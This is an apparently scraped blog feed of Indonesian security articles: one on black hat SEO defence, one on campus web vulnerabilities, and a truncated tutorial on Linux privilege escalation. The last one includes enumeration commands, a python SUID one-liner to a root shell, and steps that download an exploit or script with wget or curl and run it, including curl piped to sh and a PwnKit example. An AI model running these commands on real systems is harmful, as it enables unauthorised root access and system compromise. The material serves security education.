tindakan mereka berisiko, tapi mereka menganggap peluang tertangkap masih lebih kecil dibanding potensi keuntungan jangka pendek yang bisa didapat. Mentalitas semacam ini mirip dengan perjudian, di mana risiko besar dianggap sepadan asalkan hasil yang didapat juga besar, meskipun pada kenyataannya banyak kasus di mana taruhan ini justru berujung pada kehancuran total sebuah website yang dibangun bertahun tahun.\nEnam Wujud Serangan yang Paling Sering Ditemui Supaya kamu bisa lebih waspada dan tidak mudah terkejut kalau suatu saat mengalaminya sendiri, penting untuk mengenal berbagai bentuk serangan yang paling sering ditemui di lapangan. Setiap teknik punya karakteristik dan cara kerja yang berbeda, tapi semuanya bermuara pada satu tujuan yang sama, yaitu mengelabui algoritma mesin pencari demi keuntungan pihak tertentu.\n1. Banjir Backlink Beracun\nTaktik ini paling populer dan mudah dikenali. Bayangkan website kamu yang biasanya hanya mendapat beberapa backlink baru setiap bulan, tiba tiba dalam waktu semalam mendapat ratusan bahkan ribuan backlink dari situs situs berkualitas rendah yang tidak jelas asal usulnya. Pola pertumbuhan backlink yang tidak alami seperti ini akan langsung memicu kecurigaan algoritma mesin pencari, dan dalam banyak kasus justru berujung pada penalti yang menjatuhkan peringkat website yang menjadi korban, bukan yang melancarkan serangan.\n2. Spam Komentar Otomatis\nBot bot ini bekerja siang malam menyisir internet mencari blog dengan sistem moderasi komentar yang lemah, lalu membanjiri kolom komentarnya dengan tautan tautan mencurigakan yang mengarah ke situs judi, produk ilegal, atau bahkan malware. Kalau website kamu tidak memiliki filter komentar yang memadai, kolom komentar yang seharusnya menjadi ruang interaksi positif dengan pembaca bisa berubah menjadi ladang subur bagi tautan tautan sampah yang merusak reputasi situs secara perlahan namun pasti.\n3. Duplikasi dan Pencurian Konten\nKonten asli hasil kerja keras kamu disalin mentah mentah lalu disebarkan ke berbagai domain lain tanpa izin. Tujuannya jelas, membuat mesin pencari kebingungan menentukan mana sumber konten yang sebenarnya asli, sehingga peringkat situs kamu yang seharusnya menjadi pemilik sah konten tersebut justru berpotensi terganggu, apalagi kalau situs yang menyalin kontenmu punya otoritas domain yang lebih tinggi.\n4. Cloaking dan Doorway Page\nCloaking bekerja dengan cara menampilkan konten yang berbeda antara apa yang dilihat mesin pencari dengan apa yang dilihat pengunjung asli, sebuah bentuk penipuan algoritmik yang jelas melanggar pedoman kualitas Google. Sementara doorway page adalah halaman khusus yang sengaja dibuat hanya untuk menjaring kata kunci tertentu, lalu begitu pengunjung mengklik, mereka justru diarahkan ke halaman lain yang sama sekali tidak relevan dengan apa yang mereka cari sebelumnya.\n5. Keyword Stuffing\nTeknik lama yang sebenarnya sudah mulai ditinggalkan tapi masih saja dipakai oleh sebagian pihak yang belum update dengan perkembangan algoritma terbaru. Praktik ini mengulang ulang kata kunci secara berlebihan dan tidak alami dalam sebuah konten, sampai sampai kalimatnya terasa dipaksakan dan kehilangan makna aslinya. Algoritma mesin pencari modern sudah semakin pintar dalam memahami konteks bahasa alami sehingga teknik ini justru bisa berbalik merugikan.\n6. Penyisipan Kode Berbahaya\nIni yang paling berbahaya dari semuanya karena bukan lagi sekadar manipulasi algoritma, melainkan sudah masuk ke ranah peretasan yang sesungguhnya. Penyerang akan menyusup lewat celah keamanan yang belum diperbarui, lalu menyisipkan tautan tersembunyi, redirect berbahaya, atau bahkan konten ilegal seperti perjudian daring tanpa sepengetahuan pemilik situs sama sekali. Banyak kasus di mana pemilik website baru sadar situsnya sudah disusupi setelah menerima peringatan dari Google atau setelah pengunjung melapor mengalami redirect aneh.\nKetika Dampaknya Benar Benar Terasa dalam Kehidupan Nyata Kalau serangan semacam ini dibiarkan tanpa penanganan yang tepat, dampaknya bisa jauh lebih parah dari sekadar penurunan angka trafik di dashboard analitik. Peringkat situs bisa merosot drastis dalam hitungan hari, bahkan jam, dan yang lebih menyakitkan lagi, reputasi domain di mata mesin pencari bisa rusak dalam jangka panjang, sebuah kerusakan yang tidak bisa diperbaiki hanya dengan menambah beberapa artikel baru saja.\nBayangkan sebuah toko online yang selama ini mengandalkan trafik organik sebagai sumber penjualan utama. Ketika peringkatnya jatuh akibat serangan black hat SEO, bukan cuma angka kunjungan yang turun, tapi juga pendapatan bisnis yang ikut anjlok secara nyata. Belum lagi kalau sampai website terkena penalti manual dari Google akibat backlink beracun atau konten mencurigakan yang disusupkan, proses pemulihannya bisa memakan waktu berbulan bulan, bahkan ada kasus di mana pemilik situs harus membangun ulang kepercayaan dari nol.\nDampak lain yang sering terlupakan adalah kerugian dari sisi kepercayaan pengunjung. Kalau website sampai disusupi konten ilegal seperti judi online atau redirect ke situs berbahaya, pengunjung yang mengalaminya akan kehilangan kepercayaan terhadap brand kamu, bahkan mungkin enggan kembali lagi meskipun masalahnya sudah diperbaiki. Kepercayaan yang hilang semacam ini jauh lebih sulit dipulihkan dibanding sekadar memperbaiki angka peringkat di mesin pencari.\nLima Sinyal Bahaya yang Tidak Boleh Kamu Abaikan Semakin cepat kamu menyadari adanya serangan, semakin besar pula peluang untuk menangani dan meminimalisir dampaknya. Berikut sinyal sinyal yang sebaiknya selalu kamu perhatikan.\nTrafik organik anjlok secara tiba tiba. Penurunan drastis tanpa ada penjelasan logis dari sisi konten atau perubahan teknis yang kamu lakukan sendiri patut dicurigai sebagai indikasi awal adanya gangguan dari luar. Lonjakan backlink asing dalam waktu singkat. Kalau tiba tiba muncul ratusan backlink dari situs situs yang tidak dikenal dalam hitungan hari, ini bisa jadi pertanda ada pihak yang sedang mencoba menjatuhkan reputasi domain kamu. Notifikasi tindakan manual dari Google Search Console. Mesin pencari biasanya akan mengirimkan peringatan resmi kalau mendeteksi adanya pelanggaran pedoman kualitas pada situs kamu, jadi jangan pernah abaikan email dari Search Console. Muncul halaman atau konten aneh yang tidak pernah kamu buat. Ini sinyal paling jelas bahwa ada pihak lain yang berhasil menyusup ke dalam sistem website kamu. Laporan pengunjung soal redirect mencurigakan. Kalau ada pembaca yang mengeluh diarahkan ke situs lain saat mengakses halaman tertentu di website kamu, segera lakukan pengecekan tanpa menunda nunda. Kalau menemukan salah satu dari tanda tanda di atas, jangan panik berlebihan, tapi juga jangan menunda nunda untuk segera melakukan audit menyeluruh terhadap kondisi website demi memastikan sumber masalah yang sebenarnya.\nTujuh Langkah Membangun Benteng Pertahanan yang Sesungguhnya Setelah memahami betapa nyata dan beragamnya ancaman ini, saatnya membahas bagian yang paling penting, yaitu bagaimana cara melindungi website kamu secara menyeluruh. Pencegahan selalu jauh lebih murah dan lebih mudah dibanding harus memperbaiki kerusakan yang sudah telanjur terjadi.\nPantau trafik dan performa secara berkala. Gunakan Google Search Console dan Google Analytics secara konsisten supaya perubahan mencurigakan bisa terdeteksi jauh lebih awal, ibarat mendeteksi gejala penyakit sejak dini sebelum berkembang menjadi kondisi yang lebih serius. Periksa profil backlink secara rutin. Kalau menemukan backlink dari situs yang terlihat tidak jelas asal usulnya, segera lakukan proses disavow melalui Google Search Console supaya backlink tersebut tidak lagi dianggap bagian dari profil link website kamu. Perbarui sistem website tanpa menunda. Jaga keamanan dengan cara memperbarui CMS, plugin, dan tema secara berkala, karena banyak sekali kasus serangan yang berhasil menyusup hanya karena celah keamanan yang sebenarnya sudah tersedia pembaruannya sejak lama. Aktifkan filter dan moderasi komentar. Kombinasikan dengan penggunaan captcha atau sistem verifikasi sederhana untuk mengurangi aktivitas bot spam secara signifikan. Perkuat lapisan keamanan tambahan. Pertimbangkan penggunaan sertifikat HTTPS yang sudah menjadi standar wajib, ditambah firewall aplikasi web yang bisa membantu mencegah upaya penyusupan kode berbahaya sebelum sempat merusak sistem. Konsisten membangun konten berkualitas. Website dengan reputasi kuat dan kepercayaan tinggi di mata mesin pencari cenderung jauh lebih tahan terhadap gangguan dari luar dibandingkan situs yang otoritasnya masih rendah dan baru dibangun. Jauhi sepenuhnya taktik black hat pada website sendiri. Sekalipun tergoda melihat hasil instan yang ditawarkan, kebiasaan ini justru membuat situs semakin rentan terhadap serangan serupa dari pihak luar karena pola optimasinya sejak awal memang sudah tidak wajar. Jika Website Kamu Sudah Terlanjur Menjadi Korban Kalau ternyata website kamu sudah terlanjur terdampak dari serangan semacam ini, jangan langsung berkecil hati dan menyerah begitu saja, karena masih banyak yang bisa dilakukan untuk memulihkan keadaan. Mulailah dengan mengidentifikasi sumber masalah secara detail lewat data yang tersedia di Search Console dan berbagai tools analitik lainnya, supaya kamu bisa memahami secara pasti bentuk serangan apa yang sedang dihadapi.\nSetelah sumber masalah teridentifikasi, bersihkan backlink beracun lewat proses disavow, hapus konten atau kode mencurigakan yang tidak pernah kamu buat sendiri, lalu perbarui seluruh sistem keamanan situs secara menyeluruh tanpa ada yang terlewat. Proses ini memang butuh kesabaran ekstra dan tidak bisa selesai dalam semalam, tapi ketelitian di tahap ini akan sangat menentukan seberapa cepat website kamu bisa pulih sepenuhnya.\nSetelah proses pembersihan selesai dilakukan, fokuslah kembali membangun strategi SEO yang sehat dan berkelanjutan seperti sebelum kejadian ini terjadi. Butuh waktu bagi mesin pencari untuk kembali sepenuhnya mempercayai domain kamu, kadang prosesnya memakan waktu beberapa bulan, tapi dengan konsistensi dan kesabaran yang baik, peringkat dan reputasi situs biasanya bisa pulih secara bertahap seiring berjalannya waktu.\nPenutup yang Perlu Kamu Renungkan Serangan SEO black hat memang menggiurkan bagi sebagian pihak karena menjanjikan hasil instan dalam waktu singkat, tapi kalau ditelaah lebih dalam, risikonya jauh lebih besar dibanding manfaat sesaat yang ditawarkan, apalagi kalau kamu justru menjadi korban dari praktik curang ini tanpa pernah menyadarinya sejak awal. Dunia digital yang terlihat abstrak dan tidak berwujud ini nyatanya menyimpan pertarungan yang sangat nyata, di mana reputasi dan kepercayaan menjadi taruhan utamanya.\nMembangun website yang sehat dan tepercaya memang butuh waktu, kesabaran, serta konsistensi yang tidak sedikit, jauh berbeda dengan janji manis hasil instan yang ditawarkan jalan pintas curang. Namun percayalah, fondasi yang dibangun dengan cara yang benar akan jauh lebih tahan lama dan lebih sulit dirobohkan dibanding bangunan yang berdiri di atas trik trik manipulatif yang bisa runtuh kapan saja. Daripada terus was was memikirkan kapan giliran website kamu diserang, jauh lebih baik untuk terus memperkuat fondasi keamanan situs sambil konsisten membangun konten berkualitas dari waktu ke waktu, sehingga website kamu bisa tumbuh secara sehat, aman, dan tetap dipercaya baik oleh mesin pencari maupun oleh pembaca setia dalam jangka panjang.\n","permalink":"https://ravxytech.site/posts/mengenal-ancaman-seo-black-hat/","summary":"\u003cp\u003eBayangkan sebuah pagi biasa. Kamu membuka laptop, menyeruput kopi, lalu iseng membuka Google Search Console seperti kebiasaan setiap hari. Tapi kali ini ada yang aneh. Grafik trafik yang biasanya landai stabil tiba tiba menukik tajam seperti jatuh dari tebing. Tidak ada perubahan konten yang kamu lakukan, tidak ada update besar dari sisi teknis, bahkan kamu baru saja publish artikel baru dua hari lalu yang seharusnya mendongkrak performa, bukan menjatuhkannya. Kepala mulai pusing, jantung berdegup lebih cepat, dan pertanyaan besar muncul di benak, apa yang sebenarnya terjadi pada website yang sudah dibangun susah payah selama bertahun tahun ini?\u003c/p\u003e","title":"Membedah Dunia Kelam Serangan SEO Black Hat, Bagaimana Peringkat Website Bisa Dihancurkan dalam Semalam dan Cara Membangun Benteng Pertahanan yang Sesungguhnya"},{"content":"Sering banget kan denger berita database kampus bocor, atau desas-desus mahasiswa yang tiba-tiba nilainya berubah jadi A semua? Kalau sebelumnya kita bahas kerentanan umum kayak SQLi dan XSS, realitanya di lapangan\u0026hellip; attack vector-nya jauh lebih liar dan sistematis dari itu wkwkwk.\nArtikel ini bakal ngebahas secara mendalam dan lebih \u0026ldquo;niat\u0026rdquo; (siapin kopi sama rokok dulu wkwk) tentang kenapa infrastruktur digital pendidikan sering kali jadi sasaran empuk para peretas. Kita akan bedah anatomi serangannya, mulai dari teknik reconnaissance di subdomain terlantar, eksploitasi CMS kampus, kerentanan file manager, hingga masuk ke ranah Remote Code Execution (RCE).\nAkar Masalah: Subdomain Terlantar (The Forgotten Assets) Kenapa kampus sering kebobolan? Jawabannya simpel: Subdomain yang tidak terurus.\nSebuah kampus biasanya punya domain utama (misal: kampus.ac.id) yang dijaga dengan sangat ketat. Tapi mereka juga punya puluhan hingga ratusan subdomain untuk berbagai keperluan: jurnal.kampus.ac.id, perpus.kampus.ac.id, pmb2018.kampus.ac.id, alumni.kampus.ac.id, dan sebagainya.\nNah, seorang hacker itu jarang menyerang pintu depan (domain utama). Mereka biasanya scanning dan mencari celah satu per satu di subdomain ini. Kenapa? Karena admin IT kampus sering kali lupa, kekurangan personel, atau malas mengecek dan memelihara web-web di subdomain yang mungkin umurnya sudah belasan tahun. Subdomain lawas ini ibarat jendela belakang yang dibiarkan terbuka di sebuah rumah yang pagarnya tinggi.\nSenjata Utama Attacker: Google Dorking \u0026amp; Reconnaissance Untuk mencari \u0026ldquo;jendela yang terbuka\u0026rdquo; ini, attacker nggak selalu perlu nge-bruteforce server dengan alat berat. Sering kali cukup modal Google Dorking!\nGoogle Dorking adalah teknik menggunakan operator pencarian tingkat lanjut di Google (seperti parameter site:, inurl:, intitle:, atau filetype:) untuk mencari halaman web spesifik yang terekspos ke publik namun seharusnya disembunyikan.\nApa yang biasa dicari menggunakan Google Dork di domain kampus?\nHalaman panel login administrator CMS tertentu yang tersembunyi. Direktori file yang terbuka bebas dan bisa di-browse (Directory Listing / Index of). File backup database (.sql, .bak, .zip) atau file log konfigurasi. Mengidentifikasi modul pihak ketiga atau CMS rentan yang digunakan oleh pihak kampus. Hanya bermodalkan pencarian cerdas di mesin pencari, berbagai informasi sensitif bisa terangkut semua tanpa membunyikan alarm Firewall atau Intrusion Detection System (IDS) di server kampus sama sekali.\n\u0026ldquo;Menu Langganan\u0026rdquo; Kerentanan di Web Kampus Setelah target subdomain terlantar ditemukan, ini dia beberapa vulnerability legendaris yang paling sering dieksploitasi untuk membobol sistem:\n1. Default Credential \u0026amp; Bypass Admin Pernah kepikiran nggak, web jurnal atau perpus kampus jebol gara-gara password adminnya masih pakai bawaan pabrik seperti admin dan username-nya admin? Percaya atau nggak, ini kasus yang sangat, sangat umum!\nSelain Default Credential, kerentanan Bypass Admin juga sering terjadi akibat kesalahan logika kode. Misalnya, sistem validasi otorisasi sesi (session) yang lemah, di mana attacker cukup memodifikasi cookie secara lokal di browser (misal mengubah parameter dari role=mahasiswa menjadi role=admin), dan boom! Langsung dapet akses dashboard administrator tanpa perlu menebak password.\n2. File Manager Pihak Ketiga yang Bolong Aplikasi web sering kali butuh fitur manajemen konten untuk meng-upload gambar atau dokumen pengumuman. Banyak sistem kampus menggunakan modul pihak ketiga (open-source) lawas yang diintegrasikan ke dashboard mereka, seperti:\nKcfinder Fckeditor atau CKEditor versi kuno Elfinder Kindeditor Plugin Com_media di beberapa CMS Masalahnya, modul-modul editor lawas ini sering kali memiliki celah keamanan yang sangat fatal, yaitu Arbitrary File Upload. Sistem gagal menyaring ekstensi file dengan benar. Alih-alih meng-upload file gambar (.jpg atau .png), attacker malah bisa menyisipkan file bereksistensi .php (yang isinya kode Webshell atau Backdoor). Begitu file PHP itu dipanggil lewat URL, attacker otomatis memiliki kendali penuh ke server!\n3. Eksploitasi CMS Kampus yang Usang (OJS, SLiMS, Balitbang, Drupal) Website kampus sangat bergantung pada berbagai Content Management System (CMS) spesifik untuk kebutuhan akademik. Namun, CMS ini sangat rawan jika dibiarkan outdated:\nOJS (Open Journal Systems): Sangat populer untuk publikasi jurnal dosen. Versi lawas OJS terkenal memiliki rentetan celah Privilege Escalation dan kelemahan di fitur unggah dokumennya. SLiMS (Senayan Library Management System): Tulang punggung sistem perpustakaan di banyak universitas. Jika versinya tidak diperbarui, beberapa rilis lama memiliki vulnerability injeksi SQL. CMS Balitbang: Ini legenda banget di ekosistem web pendidikan Indonesia. Versi-versi tuanya memiliki celah yang dijuluki \u0026ldquo;SQL Balitbang\u0026rdquo; yang memungkinkan penyerang men-dump isi database dengan eksploitasi sederhana. Drupal (Versi Jadul): CMS powerful namun di masa lalu punya sejarah kelam dengan eksploit bernama Drupalgeddon, yang memungkinkan attacker melakukan Remote Code Execution tanpa perlu login sama sekali. 4. Dari LFI (Local File Inclusion) Menuju RCE Local File Inclusion (LFI) terjadi saat web server secara tidak sengaja mengizinkan pengguna dari luar untuk menginklusi dan membaca file-file sensitif di dalam server local (misalnya membaca file /etc/passwd).\nNamun, di tangan attacker yang jago, LFI bukanlah tujuan akhir. Mereka bisa melakukan chaining (menggabungkan beberapa teknik celah) dari LFI menjadi RCE (Remote Code Execution). Salah satu teknik terkenalnya adalah Log Poisoning: attacker menyisipkan payload PHP berbahaya ke dalam file log akses milik server apache/nginx, lalu memanggil file log tersebut melalui celah LFI. Saat log itu terinklusi, kode PHP di dalamnya akan tereksekusi.\nApa bahayanya RCE? Remote Code Execution adalah mimpi buruk terburuk bagi Admin Server. Attacker mendapatkan Shell atau koneksi terminal langsung (Reverse Shell) ke dalam server dan bisa mengeksekusi perintah sistem operasi selayaknya admin. Dari akses user web biasa, mereka tinggal mencari celah eskalasi hak istimewa (Privilege Escalation) untuk naik menjadi Root (seperti yang kita bahas di artikel Root Server sebelumnya wkwk).\nStrategi Pertahanan (Defense in Depth) Buat teman-teman admin server kampus, tim IT Support, atau mahasiswa tingkat akhir yang mau bantu kampus berbenah, berikut adalah mitigasi yang terstruktur:\nVektor Ancaman Solusi \u0026amp; Mitigasi Aktif (Remediasi) Subdomain Terlantar Lakukan Asset Inventory rutin. Data semua subdomain. Segera matikan atau takedown aplikasi lawas yang sudah tidak dipakai (Decommissioning). Google Dorking Konfigurasi file robots.txt dengan benar. Lindungi direktori sensitif. Admin juga wajib melakukan Google Dorking ke domain kampusnya sendiri untuk deteksi dini. Default Credential Hapus akun bawaan setelah instalasi. Terapkan kebijakan password yang complex dan wajibkan aktivasi Multi-Factor Authentication (MFA) untuk panel admin. Celah Arbitrary Upload Isolasi direktori upload! Pastikan direktori tempat menyimpan file yang diunggah pengguna tidak bisa mengeksekusi script PHP. Contoh, gunakan .htaccess (php_flag engine off). CMS \u0026amp; Plugin Lawas Tetapkan jadwal Patch Management bulanan. Segera mutakhirkan (update) OJS, Drupal, dan SLiMS ke rilis terbaru. Jangan gunakan file manager usang yang sudah tidak diperbarui. LFI \u0026amp; RCE Konfigurasi file php.ini dengan prinsip Hardening. Nonaktifkan fungsi sistem berbahaya seperti allow_url_include, system(), exec(), dan shell_exec() jika tidak dibutuhkan aplikasi. Mengelola infrastruktur IT skala besar seperti di universitas memang kompleks. Tapi dengan memahami cara berpikir dan offensive mindset penyerang, institusi bisa menyusun prioritas perbaikan yang tepat sasaran demi melindungi data sivitas akademika.\nDisclaimer\nSeluruh materi, konsep kerentanan, metodologi, dan penjelasan teoretis dalam artikel ini disusun murni untuk tujuan edukasi dan peningkatan kesadaran keamanan siber (cybersecurity awareness).\nPenulis sama sekali tidak mengajarkan, memberikan payload eksploitasi yang fungsional, apalagi menyarankan Anda untuk mencoba meretas website kampus mana pun. Melakukan aksi pencarian celah, Google Dorking dengan niat penyerangan, atau pengujian vulnerability pada sistem jaringan institusi TANPA IZIN tertulis resmi (Authorization / Rules of Engagement) adalah TINDAKAN ILEGAL. Pelakunya dapat dituntut sesuai dengan hukum pidana UU ITE.\nGunakanlah ilmu keamanan siber untuk melindungi aset digital. Jadilah Security Researcher atau Ethical Hacker yang bertanggung jawab dan beretika!\n","permalink":"https://ravxytech.site/posts/kerentanan-keamanan-web-kampus/","summary":"\u003cp\u003eSering banget kan denger berita database kampus bocor, atau desas-desus mahasiswa yang tiba-tiba nilainya berubah jadi A semua? Kalau sebelumnya kita bahas kerentanan umum kayak SQLi dan XSS, realitanya di lapangan\u0026hellip; \u003cem\u003eattack vector\u003c/em\u003e-nya jauh lebih liar dan sistematis dari itu wkwkwk.\u003c/p\u003e\n\u003cp\u003eArtikel ini bakal ngebahas secara mendalam dan lebih \u0026ldquo;niat\u0026rdquo; (siapin kopi sama rokok dulu wkwk) tentang kenapa infrastruktur digital pendidikan sering kali jadi sasaran empuk para peretas. Kita akan bedah anatomi serangannya, mulai dari teknik \u003cem\u003ereconnaissance\u003c/em\u003e di subdomain terlantar, eksploitasi CMS kampus, kerentanan file manager, hingga masuk ke ranah \u003cem\u003eRemote Code Execution\u003c/em\u003e (RCE).\u003c/p\u003e","title":"Membongkar Sisi Gelap Keamanan Web Kampus: Dari Google Dork hingga RCE"},{"content":"Belakangan ini timeline lagi rame banget soal peretasan server yang berujung dapet akses root. Berita di sana-sini, forum underground makin ramai, dan banyak yang penasaran sebenernya gimana sih prosesnya sampai seseorang bisa \u0026ldquo;menguasai\u0026rdquo; sebuah server secara penuh.\nArtikel ini bakal ngebahas tuntas mulai dari apa itu root, bagaimana proses escalation dari user biasa jadi root, sampai teknik backconnect pakai ngrok buat dapetin shell dari balik NAT. Semua dijelasin dari sudut pandang edukasi, intinya siapin kopi + rokok ae wkwkwk.\nApa Itu Root di Server Linux? Di dunia Linux, root adalah user dengan level akses paling tinggi. Kalau di Windows istilahnya Administrator, di Linux namanya root. User root punya UID (User ID) bernilai 0, dan ini adalah tanda bahwa user tersebut punya kendali penuh atas seluruh sistem.\nApa yang bisa dilakukan root? Singkatnya, segalanya.\n- Membaca, menulis, dan menghapus file apapun di seluruh sistem - Menginstall dan menghapus software - Menambah dan menghapus user lain - Mengubah konfigurasi sistem, firewall, dan service - Melihat proses milik semua user - Mengakses seluruh database yang berjalan di server - Memodifikasi kernel dan modul sistem Tidak ada batasan, tidak ada permission denied, tidak ada yang bisa menghalangi. Makanya kalau seseorang berhasil mendapatkan akses root di server orang lain tanpa izin, itu sudah termasuk full compromise.\nKenapa Hacker Mengincar Root? Pertanyaan bagus. Kenapa tidak cukup dengan user biasa saja?\nSaat seorang attacker pertama kali masuk ke sebuah server, biasanya yang didapat adalah akses sebagai user biasa dengan privilege terbatas. User biasa hanya bisa mengakses file miliknya sendiri, tidak bisa menginstall software, tidak bisa membaca file milik user lain, dan tidak bisa mengubah konfigurasi sistem.\nDengan akses user biasa, attacker bisa melakukan hal-hal terbatas seperti:\n- Membaca file di home directory sendiri - Menjalankan command dasar - Melihat proses milik sendiri Tapi dengan akses root, semuanya berubah total:\n- Dump seluruh database (MySQL, PostgreSQL, MongoDB, semuanya) - Baca file /etc/shadow yang berisi hash password semua user - Install backdoor yang persistent (tetap ada walau server di-reboot) - Modifikasi log untuk menghapus jejak - Pivot ke server lain di jaringan internal - Ambil alih domain, website, email, semuanya Intinya, root itu adalah \u0026ldquo;game over\u0026rdquo; buat server tersebut. Tidak ada lagi yang perlu di-bypass, tidak ada lagi restriction yang menghalangi. Makanya privilege escalation dari user biasa ke root itu jadi salah satu tahapan paling krusial dalam proses peretasan.\nTahapan Serangan: Dari Nol Sampai Root Sebelum masuk ke teknis privilege escalation, penting untuk paham dulu gambaran besar alur sebuah serangan terhadap server. Prosesnya tidak langsung \u0026ldquo;tiba-tiba jadi root\u0026rdquo; wkwkwk. Ada tahapan yang dilalui.\n1. Initial Access (Masuk Pertama Kali) Ini adalah langkah pertama di mana attacker mendapatkan akses awal ke server. Cara masuknya bisa bermacam-macam:\nExploit vulnerability di web application (SQL Injection, RCE, File Upload, dan lainnya) Kredensial yang bocor (password default, credential stuffing, atau dari breach database) SSH bruteforce kalau password lemah Webshell yang sudah ditanam sebelumnya Setelah berhasil masuk, biasanya yang didapat adalah shell sebagai user www-data (kalau masuknya lewat web), atau user biasa kalau masuknya lewat SSH.\n2. Enumeration (Mengumpulkan Informasi) Nah di sinilah fase paling penting dan paling seru wkwkwk. Setelah dapat shell, attacker tidak langsung \u0026ldquo;nge-root\u0026rdquo;. Yang dilakukan pertama kali adalah mengumpulkan informasi sebanyak-banyaknya tentang server tersebut.\nInformasi apa yang dicari? Sabar, bakal dibahas detail di section berikutnya.\n3. Privilege Escalation (Naik Level ke Root) Berdasarkan informasi yang dikumpulkan di fase enumeration, attacker akan mencari jalur untuk menaikkan privilege dari user biasa menjadi root. Di sinilah gcc, pkexec, python, dan teman-temannya berperan.\n4. Post-Exploitation (Setelah Jadi Root) Setelah berhasil jadi root, attacker bisa melakukan apa saja. Mulai dari dump database, install backdoor, sampai menghapus jejak di log. Tapi pembahasan ini di luar scope artikel kali ini, soalnya sensitif lah, cari2 sendiri ae takut aku wkwkwk.\nFase Enumeration: Apa yang Dicari Hacker Setelah Masuk? Ini bagian yang banyak orang penasaran. Setelah dapat shell di server, apa yang pertama kali dilakukan?\nJawabannya: enumerasi. Mengecek apa saja yang tersedia di server, apa yang bisa dimanfaatkan, dan jalur mana yang paling mungkin untuk naik ke root.\nCek User Saat Ini id whoami Output id bakal menunjukkan UID, GID, dan groups dari user saat ini. Kalau UID-nya 0, selamat, sudah root wkwkwk. Tapi biasanya yang keluar adalah sesuatu seperti:\nuid=33(www-data) gid=33(www-data) groups=33(www-data) Artinya masih jadi user www-data dengan privilege terbatas.\nCek Informasi Sistem uname -a cat /etc/os-release cat /proc/version Informasi kernel dan versi OS sangat penting. Kernel yang sudah lawas sering punya vulnerability yang bisa dieksploitasi untuk privilege escalation. Misalnya kernel versi 3.x atau 4.x awal yang sudah ada CVE-nya.\nCek SUID Binary find / -perm -u=s -type f 2\u0026gt;/dev/null Ini salah satu command paling penting dalam enumeration. SUID (Set User ID) binary adalah file executable yang berjalan dengan privilege pemiliknya, bukan privilege user yang menjalankannya. Kalau ada binary SUID yang dimiliki root dan bisa dimanfaatkan, itu bisa jadi jalan menuju root.\nContoh output yang menarik:\n/usr/bin/pkexec /usr/bin/sudo /usr/bin/passwd /usr/bin/find /usr/bin/python3 /usr/bin/vim Kalau pkexec, find, python3, atau vim punya bit SUID, itu sudah jadi jalur escalation yang sangat potensial.\nMengapa Hacker Mencari GCC? which gcc gcc --version GCC (GNU Compiler Collection) adalah compiler untuk bahasa C. Kenapa ini penting? Karena banyak exploit untuk privilege escalation ditulis dalam bahasa C dan perlu di-compile langsung di server target.\nKalau gcc tersedia di server, attacker bisa:\nDownload source code exploit (misalnya kernel exploit) Compile langsung di server target Jalankan exploit-nya untuk mendapatkan root Contoh skenario nyata:\n# Download exploit wget https://example.com/exploit.c -O /tmp/exploit.c # Compile dengan gcc gcc /tmp/exploit.c -o /tmp/exploit # Jalankan chmod +x /tmp/exploit /tmp/exploit # Kalau berhasil: # root@server:~# Kalau gcc tidak ada, bukan berarti jalan buntu. Tapi prosesnya jadi lebih ribet karena harus cross-compile di mesin lain dan transfer binary-nya ke server target. Makanya attacker selalu senang kalau nemu gcc sudah terinstall wkwkwk.\nMengapa Hacker Mencari Python? which python python3 python --version python3 --version Python dicari karena beberapa alasan:\nPertama, Python bisa dipakai untuk spawning proper TTY shell. Shell yang didapat dari exploit web biasanya \u0026ldquo;jelek\u0026rdquo; dan terbatas. Dengan Python, shell bisa di-upgrade jadi interactive:\npython3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Sebelum command di atas, shell biasanya tidak bisa pakai sudo, tidak bisa pakai su, tidak ada tab completion, dan kalau tekan Ctrl+C malah mati koneksinya. Setelah spawn PTY, shell jadi jauh lebih fungsional.\nKedua, Python bisa dipakai untuk menjalankan exploit yang ditulis dalam Python tanpa perlu compile apapun.\nKetiga, kalau Python punya capability khusus atau bit SUID, itu langsung jadi jalur escalation:\n# Kalau python3 punya SUID bit python3 -c \u0026#39;import os; os.setuid(0); os.system(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Command di atas langsung memberikan shell root kalau Python punya SUID bit. Sesimpel itu.\nMengapa Hacker Mencari Pkexec? which pkexec pkexec --version Pkexec adalah bagian dari PolicyKit yang fungsinya memungkinkan user biasa menjalankan program sebagai user lain (termasuk root) dengan otorisasi tertentu. Kenapa ini jadi incaran?\nKarena ada vulnerability legendaris yang dikenal sebagai PwnKit (CVE-2021-4034). Vulnerability ini ada di hampir semua distribusi Linux yang menggunakan pkexec, dan eksploitasinya relatif mudah.\n# Cek apakah pkexec vulnerable pkexec --version # PolicyKit versi di bawah 0.120 biasanya masih vulnerable Exploit PwnKit bekerja dengan memanfaatkan bug di cara pkexec menangani argc (argument count). Kalau pkexec dipanggil dengan argc = 0 (tanpa argument sama sekali), terjadi out-of-bounds read yang bisa dimanfaatkan untuk menulis environment variable berbahaya yang akhirnya memberikan shell root.\nYang membuat PwnKit sangat populer adalah:\nHampir universal karena pkexec terinstall default di banyak distro Tidak perlu konfigurasi khusus untuk dieksploitasi Exploit-nya sangat reliable dengan tingkat keberhasilan yang tinggi Banyak PoC yang tersedia dan mudah dijalankan # Contoh eksploitasi PwnKit (simplified) # Download PoC curl -fsSL https://example.com/pwnkit -o /tmp/pwnkit # Jalankan chmod +x /tmp/pwnkit /tmp/pwnkit # Output: # root@server:/tmp# Dari user biasa langsung jadi root dalam hitungan detik. Serem kan wkwkwk.\nTool Lain yang Dicari Selain tiga besar di atas (gcc, python, pkexec), berikut beberapa binary dan tool lain yang juga dicari saat enumeration:\n# Perl (alternatif Python untuk spawn shell dan exploit) which perl # Wget dan Curl (untuk download exploit) which wget curl # Netcat (untuk reverse shell dan transfer file) which nc ncat netcat # Sudo (cek apakah user bisa menjalankan command sebagai root) sudo -l # Crontab (cek scheduled task yang bisa dimanfaatkan) cat /etc/crontab ls -la /etc/cron.* # Writable directories (tempat menyimpan exploit) find / -writable -type d 2\u0026gt;/dev/null # Capabilities (privilege khusus pada binary tertentu) getcap -r / 2\u0026gt;/dev/null Automated Enumeration Tools Buat yang mau otomatis, ada beberapa tool populer yang menjalankan semua pengecekan di atas secara otomatis:\nLinPEAS adalah yang paling lengkap:\n# Download dan jalankan LinPEAS curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh LinPEAS akan mengecek ratusan vektor privilege 